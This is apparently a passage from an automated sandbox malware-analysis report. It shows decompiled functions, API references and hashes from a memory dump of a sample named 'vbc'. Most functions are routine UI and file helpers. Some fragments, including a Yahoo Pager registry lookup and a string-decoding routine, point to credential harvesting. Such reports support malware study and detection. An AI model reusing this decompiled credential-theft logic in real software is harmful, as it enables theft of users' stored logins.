                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseOpenQueryValuememset
                                                                                                              • String ID: EOptions string$Software\Yahoo\Pager$Yahoo! User ID
                                                                                                              • API String ID: 1830152886-1703613266
                                                                                                              • Opcode ID: bf41921f8a2a9c8352c9fdad0a13da07ce56bdc91807337f6400affd9374cd25
                                                                                                              • Instruction ID: 4a1c6cf285358ebc60a306e6e4607d202acce7e44454db846991f846a9516d87
                                                                                                              • Opcode Fuzzy Hash: bf41921f8a2a9c8352c9fdad0a13da07ce56bdc91807337f6400affd9374cd25
                                                                                                              • Instruction Fuzzy Hash: 820184B5A00118BBDB10A6569D02FDE7A6C9B94399F004076FF08F2251E2389F95C698
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405F41 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00405F41(long __eax, struct HWND__* _a4) {
				char _v1028;
				char _v2052;
				void* __edi;
				long _t15;

				_t15 = __eax;
				if(__eax == 0) {
					_t15 = GetLastError();
				}
				E00405E46(_t15,  &_v1028);
				sprintf( &_v2052, "Error %d: %s", _t15,  &_v1028);
				return MessageBoxA(_a4,  &_v2052, "Error", 0x30);
			}







                                                                                                              0x00405f4b
                                                                                                              0x00405f4f
                                                                                                              0x00405f57
                                                                                                              0x00405f57
                                                                                                              0x00405f60
                                                                                                              0x00405f79
                                                                                                              0x00405f9a

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ErrorLastMessagesprintf
                                                                                                              • String ID: Error$Error %d: %s
                                                                                                              • API String ID: 1670431679-1552265934
                                                                                                              • Opcode ID: 9a2ad0e70752bb447b178d956355c706b7f152369d8ca83d74a421e60f1b41e3
                                                                                                              • Instruction ID: dfdfd8ae3da356d4892d02c8fdfc7d0b76dc1d64d686e07e92b09a376f71314b
                                                                                                              • Opcode Fuzzy Hash: 9a2ad0e70752bb447b178d956355c706b7f152369d8ca83d74a421e60f1b41e3
                                                                                                              • Instruction Fuzzy Hash: 9BF0A7B640010876CB10A764DC05FDA76BCAB44704F1440B6BA05E2141EAB4DB458FAC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F037 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 68%
                                                                                                              			E0040F037(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;

				_t7 = 0;
				_t8 = LoadLibraryA("shlwapi.dll");
				_t3 = GetProcAddress(_t8, "SHAutoComplete");
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}






                                                                                                              0x0040f03e
                                                                                                              0x0040f046
                                                                                                              0x0040f04e
                                                                                                              0x0040f056
                                                                                                              0x0040f063
                                                                                                              0x0040f063
                                                                                                              0x0040f066
                                                                                                              0x0040f070

                                                                                                              APIs
                                                                                                              • LoadLibraryA.KERNEL32(shlwapi.dll), ref: 0040F040
                                                                                                              • GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0040F04E
                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 0040F066
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProc
                                                                                                              • String ID: SHAutoComplete$shlwapi.dll
                                                                                                              • API String ID: 145871493-1506664499
                                                                                                              • Opcode ID: 00be263e50752a8f479fbc1a88640afc62a4183cc8ad6fe6345b1c509fc360a9
                                                                                                              • Instruction ID: e435a3077eadc7ffcc94e3fda903fcc6a6103b68d0c251917c13f6f883115a60
                                                                                                              • Opcode Fuzzy Hash: 00be263e50752a8f479fbc1a88640afc62a4183cc8ad6fe6345b1c509fc360a9
                                                                                                              • Instruction Fuzzy Hash: 70D0C2323002106B96605B326C0CAEB2D55EBC47527048032F505E1250EB648A86C1A8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407406 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 104stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 87%
                                                                                                              			E00407406(char* __eax, intOrPtr* _a4, char _a8) {
				signed int _v8;
				int _v12;
				char* _v16;
				char _v20;
				signed int* _v24;
				char _v28;
				void _v284;
				char _v540;
				char _v1068;
				void _v3115;
				char _v3116;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t36;
				signed int _t40;
				signed int* _t61;
				char _t69;
				char* _t74;
				char* _t75;
				intOrPtr* _t76;
				signed int _t78;
				int _t80;
				void* _t83;
				void* _t84;
				signed int _t89;

				_t74 = __eax;
				_t35 = strlen(__eax);
				_t78 = _t35;
				_t36 = _t35 & 0x80000001;
				if(_t36 < 0) {
					_t36 = (_t36 - 0x00000001 | 0xfffffffe) + 1;
					_t89 = _t36;
				}
				if(_t89 != 0 || _t78 <= 0x20) {
					return _t36;
				} else {
					_v3116 = 0;
					memset( &_v3115, 0, 0x7ff);
					_v8 = _v8 & 0x00000000;
					_t61 = _a4 + 4;
					_t40 =  *_t61 | 0x00000001;
					if(_t78 <= 4) {
						L7:
						_t79 =  &_v1068;
						E004046D7( &_v1068);
						if(E004047A0( &_v1068, _t93) != 0) {
							_v20 = _v8;
							_v16 =  &_v3116;
							_v28 = 0x10;
							_v24 = _t61;
							if(E00404811(_t79,  &_v20,  &_v28,  &_v12) != 0) {
								_t80 = _v12;
								if(_t80 > 0xff) {
									_t80 = 0xff;
								}
								_v540 = 0;
								_v284 = 0;
								memcpy( &_v284, _v8, _t80);
								_t27 =  &_a8; // 0x407626
								_t75 =  &_v540;
								 *((char*)(_t84 + _t80 - 0x118)) = 0;
								E004060D0(0xff, _t75,  *_t27);
								 *((intOrPtr*)( *_a4))(_t75);
								LocalFree(_v8);
							}
						}
						return E004047F1( &_v1068);
					}
					_t76 = _t74 + 5;
					_t83 = (_t78 + 0xfffffffb >> 1) + 1;
					do {
						_t69 = ( *((intOrPtr*)(_t76 - 1)) - 0x00000001 << 0x00000004 |  *_t76 - 0x00000021) - _t40;
						_t40 = _t40 * 0x10ff5;
						_t76 = _t76 + 2;
						_v8 = _v8 + 1;
						_t83 = _t83 - 1;
						_t93 = _t83;
						 *((char*)(_t84 + _v8 - 0xc28)) = _t69;
					} while (_t83 != 0);
					goto L7;
				}
			}






























                                                                                                              0x00407412
                                                                                                              0x00407415
                                                                                                              0x0040741a
                                                                                                              0x0040741c
                                                                                                              0x00407422
                                                                                                              0x00407428
                                                                                                              0x00407428
                                                                                                              0x00407428
                                                                                                              0x00407429
                                                                                                              0x0040754a
                                                                                                              0x00407438
                                                                                                              0x00407446
                                                                                                              0x0040744d
                                                                                                              0x00407455
                                                                                                              0x00407459
                                                                                                              0x00407461
                                                                                                              0x00407467
                                                                                                              0x0040749b
                                                                                                              0x0040749b
                                                                                                              0x004074a1
                                                                                                              0x004074ad
                                                                                                              0x004074b6
                                                                                                              0x004074bf
                                                                                                              0x004074d0
                                                                                                              0x004074d7
                                                                                                              0x004074e1
                                                                                                              0x004074e3
                                                                                                              0x004074ed
                                                                                                              0x004074ef
                                                                                                              0x004074ef
                                                                                                              0x004074fc
                                                                                                              0x00407503
                                                                                                              0x0040750a
                                                                                                              0x0040750f
                                                                                                              0x00407512
                                                                                                              0x00407518
                                                                                                              0x00407520
                                                                                                              0x00407530
                                                                                                              0x00407535
                                                                                                              0x00407535
                                                                                                              0x004074e1
                                                                                                              0x00000000
                                                                                                              0x00407541
                                                                                                              0x0040746e
                                                                                                              0x00407471
                                                                                                              0x00407472
                                                                                                              0x00407484
                                                                                                              0x00407486
                                                                                                              0x0040748d
                                                                                                              0x0040748e
                                                                                                              0x00407491
                                                                                                              0x00407491
                                                                                                              0x00407492
                                                                                                              0x00407492
                                                                                                              0x00000000
                                                                                                              0x00407472

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeLocalmemcpymemsetstrlen
                                                                                                              • String ID: &v@
                                                                                                              • API String ID: 3110682361-3426253984
                                                                                                              • Opcode ID: 9a1ef4ca1be38dacd8a40183f10fd2ba3c83eed1e3cc7d309a54d2d6fc5753ae
                                                                                                              • Instruction ID: 0225f7a5d6cb17f6a7661d1d380ab710e59dbb599c3936da0c6da93344c8566d
                                                                                                              • Opcode Fuzzy Hash: 9a1ef4ca1be38dacd8a40183f10fd2ba3c83eed1e3cc7d309a54d2d6fc5753ae
                                                                                                              • Instruction Fuzzy Hash: B731F772D0411DABDB10DB68CC81BDEBBB8EF45318F1001B6E645B3281DA78AE858B95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409695 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 57COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 84%
                                                                                                              			E00409695(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v259;
				char _v260;
				signed int _t34;
				char* _t45;
				void* _t47;

				E00405EFD(_a4, "<item>\r\n");
				_t34 = 0;
				if( *((intOrPtr*)(__edi + 0x20)) > 0) {
					do {
						_v260 = 0;
						memset( &_v259, 0, 0xfe);
						E0040F09D( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x24)) + _t34 * 4),  *((intOrPtr*)(__edi + 0x4c))),  *((intOrPtr*)(__edi + 0x50)));
						_t45 =  &_v260;
						E00409018(_t45,  *((intOrPtr*)(( *( *((intOrPtr*)(__edi + 0x24)) + _t34 * 4) << 4) +  *((intOrPtr*)(__edi + 0x34)) + 0xc)));
						sprintf( *(__edi + 0x54), "<%s>%s</%s>\r\n", _t45,  *((intOrPtr*)(__edi + 0x50)), _t45);
						E00405EFD(_a4,  *(__edi + 0x54));
						_t47 = _t47 + 0x28;
						_t34 = _t34 + 1;
					} while (_t34 <  *((intOrPtr*)(__edi + 0x20)));
				}
				return E00405EFD(_a4, "</item>\r\n");
			}








                                                                                                              0x004096a7
                                                                                                              0x004096ac
                                                                                                              0x004096b3
                                                                                                              0x004096b6
                                                                                                              0x004096c4
                                                                                                              0x004096cb
                                                                                                              0x004096e7
                                                                                                              0x004096f6
                                                                                                              0x004096fc
                                                                                                              0x00409710
                                                                                                              0x0040971b
                                                                                                              0x00409720
                                                                                                              0x00409723
                                                                                                              0x00409724
                                                                                                              0x00409729
                                                                                                              0x0040973b

                                                                                                              APIs
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                              • memset.MSVCRT ref: 004096CB
                                                                                                                • Part of subcall function 0040F09D: memcpy.MSVCRT ref: 0040F10B
                                                                                                                • Part of subcall function 00409018: strcpy.MSVCRT(00000000,?,00409701,?,?,?), ref: 0040901D
                                                                                                                • Part of subcall function 00409018: _strlwr.MSVCRT ref: 00409060
                                                                                                              • sprintf.MSVCRT ref: 00409710
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileWrite_strlwrmemcpymemsetsprintfstrcpystrlen
                                                                                                              • String ID: <%s>%s</%s>$</item>$<item>
                                                                                                              • API String ID: 3200591283-2769808009
                                                                                                              • Opcode ID: 07c18c0e4a87831351b3b02fe01daf5ffa13d64f31dc98592b1a2e626d7dc146
                                                                                                              • Instruction ID: f0c093cdac9801847eaa7418f237768de61d650e358e632480a4b045718b8cde
                                                                                                              • Opcode Fuzzy Hash: 07c18c0e4a87831351b3b02fe01daf5ffa13d64f31dc98592b1a2e626d7dc146
                                                                                                              • Instruction Fuzzy Hash: FE11E731500515BFC711AF25CC42E967B64FF04318F10006AF549369A2EB76BA64DFD8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407BF9 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00407BF9(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00406560(_t30);
				}
				return 1;
			}









                                                                                                              0x00407c04
                                                                                                              0x00407c07
                                                                                                              0x00407c11
                                                                                                              0x00407c18
                                                                                                              0x00407c23
                                                                                                              0x00407c33
                                                                                                              0x00407c41
                                                                                                              0x00407c49
                                                                                                              0x00407c4f
                                                                                                              0x00407c55
                                                                                                              0x00407c5a
                                                                                                              0x00407c5d
                                                                                                              0x00407c62
                                                                                                              0x00407c68

                                                                                                              APIs
                                                                                                              • GetParent.USER32(?), ref: 00407C0B
                                                                                                              • GetWindowRect.USER32 ref: 00407C18
                                                                                                              • GetClientRect.USER32 ref: 00407C23
                                                                                                              • MapWindowPoints.USER32 ref: 00407C33
                                                                                                              • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00407C4F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Window$Rect$ClientParentPoints
                                                                                                              • String ID:
                                                                                                              • API String ID: 4247780290-0
                                                                                                              • Opcode ID: 7bea04c1b6e52cb4f5c6b6cbc8acbaaab4948e977a1f04226da639ece1b7c51f
                                                                                                              • Instruction ID: 06ac4e87c023cdd11bbb76a881eefb098f7857fbb12a9e12d40a619b69e20d01
                                                                                                              • Opcode Fuzzy Hash: 7bea04c1b6e52cb4f5c6b6cbc8acbaaab4948e977a1f04226da639ece1b7c51f
                                                                                                              • Instruction Fuzzy Hash: A7014C32800129BBDB119BA5DD89EFF7FBCEF46750F048129F901E2150D7B89541CBA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A4C8 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040A4C8(void* __eax) {
				void* __esi;
				void* _t16;
				void* _t33;
				void* _t38;
				void* _t41;

				_t41 = __eax;
				_t16 = E00401033();
				if(_t16 == 0x5cb8) {
					SendMessageA( *( *((intOrPtr*)(_t41 + 0x370)) + 0x184), 0xb, 0, 0);
					E00405E2C();
					 *((intOrPtr*)( *((intOrPtr*)(_t41 + 0x370)) + 0x28)) = 0;
					SendMessageA( *( *((intOrPtr*)(_t41 + 0x370)) + 0x184), 0x1009, 0, 0);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t41 + 0x370)))) + 0x5c))(_t38, _t33);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t41 + 0x370)))) + 0x74))(1);
					E0040A437(_t41);
					SetCursor( *0x416b98);
					SetFocus( *( *((intOrPtr*)(_t41 + 0x370)) + 0x184));
					return SendMessageA( *( *((intOrPtr*)(_t41 + 0x370)) + 0x184), 0xb, 1, 0);
				}
				return _t16;
			}








                                                                                                              0x0040a4c9
                                                                                                              0x0040a4cb
                                                                                                              0x0040a4d5
                                                                                                              0x0040a4f5
                                                                                                              0x0040a4f7
                                                                                                              0x0040a504
                                                                                                              0x0040a518
                                                                                                              0x0040a522
                                                                                                              0x0040a52f
                                                                                                              0x0040a532
                                                                                                              0x0040a53d
                                                                                                              0x0040a54f
                                                                                                              0x00000000
                                                                                                              0x0040a569
                                                                                                              0x0040a56b

                                                                                                              APIs
                                                                                                              • SendMessageA.USER32 ref: 0040A4F5
                                                                                                                • Part of subcall function 00405E2C: LoadCursorA.USER32 ref: 00405E33
                                                                                                                • Part of subcall function 00405E2C: SetCursor.USER32(00000000), ref: 00405E3A
                                                                                                              • SendMessageA.USER32 ref: 0040A518
                                                                                                                • Part of subcall function 0040A437: sprintf.MSVCRT ref: 0040A45D
                                                                                                                • Part of subcall function 0040A437: sprintf.MSVCRT ref: 0040A487
                                                                                                                • Part of subcall function 0040A437: strcat.MSVCRT(?,?,?,00000000,00000000), ref: 0040A49A
                                                                                                                • Part of subcall function 0040A437: SendMessageA.USER32 ref: 0040A4C0
                                                                                                              • SetCursor.USER32 ref: 0040A53D
                                                                                                              • SetFocus.USER32 ref: 0040A54F
                                                                                                              • SendMessageA.USER32 ref: 0040A566
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessageSend$Cursor$sprintf$FocusLoadstrcat
                                                                                                              • String ID:
                                                                                                              • API String ID: 2210206837-0
                                                                                                              • Opcode ID: d04c02dfd2683b57df494b0aa3d26c888530678e73924bd562102cacfecd4f7b
                                                                                                              • Instruction ID: 5ceab2a0550c6f7be61398745e2f8fe4621b0361104972d0b8848fcf02267a2c
                                                                                                              • Opcode Fuzzy Hash: d04c02dfd2683b57df494b0aa3d26c888530678e73924bd562102cacfecd4f7b
                                                                                                              • Instruction Fuzzy Hash: 12116DB1200600EFD722AB74DC85FAA77EDFF48344F0644B9F1599B2B1CA716D018B10
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409867 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00409867(intOrPtr* __ecx, intOrPtr _a4) {
				void _v259;
				char _v260;
				void _v515;
				char _v516;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				char* _t28;

				_t26 = __ecx;
				_v260 = 0;
				memset( &_v259, 0, 0xfe);
				_v516 = 0;
				memset( &_v515, 0, 0xfe);
				E00405EFD(_a4, "<?xml version=\"1.0\"  encoding=\"ISO-8859-1\" ?>\r\n");
				_t17 =  *((intOrPtr*)( *_t26 + 0x20))();
				_t28 =  &_v260;
				E00409018(_t28, _t17);
				sprintf( &_v516, "<%s>\r\n", _t28);
				return E00405EFD(_a4,  &_v516);
			}











                                                                                                              0x00409881
                                                                                                              0x00409883
                                                                                                              0x0040988a
                                                                                                              0x00409899
                                                                                                              0x004098a0
                                                                                                              0x004098ad
                                                                                                              0x004098b9
                                                                                                              0x004098bd
                                                                                                              0x004098c3
                                                                                                              0x004098d7
                                                                                                              0x004098f1

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040988A
                                                                                                              • memset.MSVCRT ref: 004098A0
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                                • Part of subcall function 00409018: strcpy.MSVCRT(00000000,?,00409701,?,?,?), ref: 0040901D
                                                                                                                • Part of subcall function 00409018: _strlwr.MSVCRT ref: 00409060
                                                                                                              • sprintf.MSVCRT ref: 004098D7
                                                                                                              Strings
                                                                                                              • <%s>, xrefs: 004098D1
                                                                                                              • <?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 004098A5
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$FileWrite_strlwrsprintfstrcpystrlen
                                                                                                              • String ID: <%s>$<?xml version="1.0" encoding="ISO-8859-1" ?>
                                                                                                              • API String ID: 3202206310-1998499579
                                                                                                              • Opcode ID: 51e994947d23847d28837b494a86f4ec5d5778f6c6bb559d4411b981ab6fcacc
                                                                                                              • Instruction ID: 66925a684df18266fce8bb701fa3a75b356ea9bacad4fe0319972b489c667c97
                                                                                                              • Opcode Fuzzy Hash: 51e994947d23847d28837b494a86f4ec5d5778f6c6bb559d4411b981ab6fcacc
                                                                                                              • Instruction Fuzzy Hash: BC01A77290011976D721A759CC46FDA7B6C9F44304F0400FAB509B3192DB789F858BA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408572 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 76%
                                                                                                              			E00408572(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x24));
				if(_t9 != 0) {
					_push(_t9);
					L004115D6();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x34));
				if(_t10 != 0) {
					_push(_t10);
					L004115D6();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x1b4));
				if(_t11 != 0) {
					_push(_t11);
					L004115D6();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x1a0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L004115D6();
						 *_t18 = 0;
					}
					_push(_t18);
					L004115D6();
				}
				 *((intOrPtr*)(_t19 + 0x1a0)) = 0;
				 *((intOrPtr*)(_t19 + 0x24)) = 0;
				 *((intOrPtr*)(_t19 + 0x34)) = 0;
				 *((intOrPtr*)(_t19 + 0x1b4)) = 0;
				return _t11;
			}








                                                                                                              0x00408572
                                                                                                              0x00408572
                                                                                                              0x0040857b
                                                                                                              0x0040857d
                                                                                                              0x0040857e
                                                                                                              0x00408583
                                                                                                              0x00408584
                                                                                                              0x00408589
                                                                                                              0x0040858b
                                                                                                              0x0040858c
                                                                                                              0x00408591
                                                                                                              0x00408592
                                                                                                              0x0040859a
                                                                                                              0x0040859c
                                                                                                              0x0040859d
                                                                                                              0x004085a2
                                                                                                              0x004085a3
                                                                                                              0x004085ab
                                                                                                              0x004085ad
                                                                                                              0x004085b1
                                                                                                              0x004085b3
                                                                                                              0x004085b4
                                                                                                              0x004085ba
                                                                                                              0x004085ba
                                                                                                              0x004085bc
                                                                                                              0x004085bd
                                                                                                              0x004085c2
                                                                                                              0x004085c4
                                                                                                              0x004085ca
                                                                                                              0x004085cd
                                                                                                              0x004085d0
                                                                                                              0x004085d7

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: 81ac31e6ac6cca7ad4126e5c5f96866445343229410645586480136894f152f3
                                                                                                              • Instruction ID: 0a64c6e0650ef7a992325d71cca8afebdafc0e64b7e6075a64aa0ecb46f153ec
                                                                                                              • Opcode Fuzzy Hash: 81ac31e6ac6cca7ad4126e5c5f96866445343229410645586480136894f152f3
                                                                                                              • Instruction Fuzzy Hash: C2F0F4725057016FDB209F6A99C0497B7D6BB48714B64083FF18AD3741CF78AD818A18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004085D8 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 70%
                                                                                                              			E004085D8(intOrPtr* __edi) {
				void* __esi;
				void** _t7;
				intOrPtr* _t12;
				intOrPtr* _t18;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;

				_t18 = __edi;
				 *__edi = 0x413320;
				E00408572(__edi);
				_t21 =  *((intOrPtr*)(__edi + 0x10));
				if(_t21 != 0) {
					E00406B5B(_t21);
					_push(_t21);
					L004115D6();
				}
				_t22 =  *((intOrPtr*)(_t18 + 0xc));
				if(_t22 != 0) {
					E00406B5B(_t22);
					_push(_t22);
					L004115D6();
				}
				_t23 =  *((intOrPtr*)(_t18 + 8));
				if(_t23 != 0) {
					E00406B5B(_t23);
					_push(_t23);
					L004115D6();
				}
				_t24 =  *((intOrPtr*)(_t18 + 4));
				if(_t24 != 0) {
					E00406B5B(_t24);
					_push(_t24);
					L004115D6();
				}
				_t12 = _t18;
				_t7 =  *((intOrPtr*)( *_t12))();
				free( *_t7);
				return _t7;
			}











                                                                                                              0x004085d8
                                                                                                              0x004085db
                                                                                                              0x004085e1
                                                                                                              0x004085e6
                                                                                                              0x004085eb
                                                                                                              0x004085ed
                                                                                                              0x004085f2
                                                                                                              0x004085f3
                                                                                                              0x004085f8
                                                                                                              0x004085f9
                                                                                                              0x004085fe
                                                                                                              0x00408600
                                                                                                              0x00408605
                                                                                                              0x00408606
                                                                                                              0x0040860b
                                                                                                              0x0040860c
                                                                                                              0x00408611
                                                                                                              0x00408613
                                                                                                              0x00408618
                                                                                                              0x00408619
                                                                                                              0x0040861e
                                                                                                              0x0040861f
                                                                                                              0x00408624
                                                                                                              0x00408626
                                                                                                              0x0040862b
                                                                                                              0x0040862c
                                                                                                              0x00408631
                                                                                                              0x00408632
                                                                                                              0x0040863c
                                                                                                              0x00408640
                                                                                                              0x00408646

                                                                                                              APIs
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040857E
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040858C
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 0040859D
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 004085B4
                                                                                                                • Part of subcall function 00408572: ??3@YAXPAX@Z.MSVCRT ref: 004085BD
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 004085F3
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00408606
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00408619
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 0040862C
                                                                                                              • free.MSVCRT(00000000), ref: 00408640
                                                                                                                • Part of subcall function 00406B5B: free.MSVCRT(00000000,00406DE2,00000000,?,?), ref: 00406B62
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
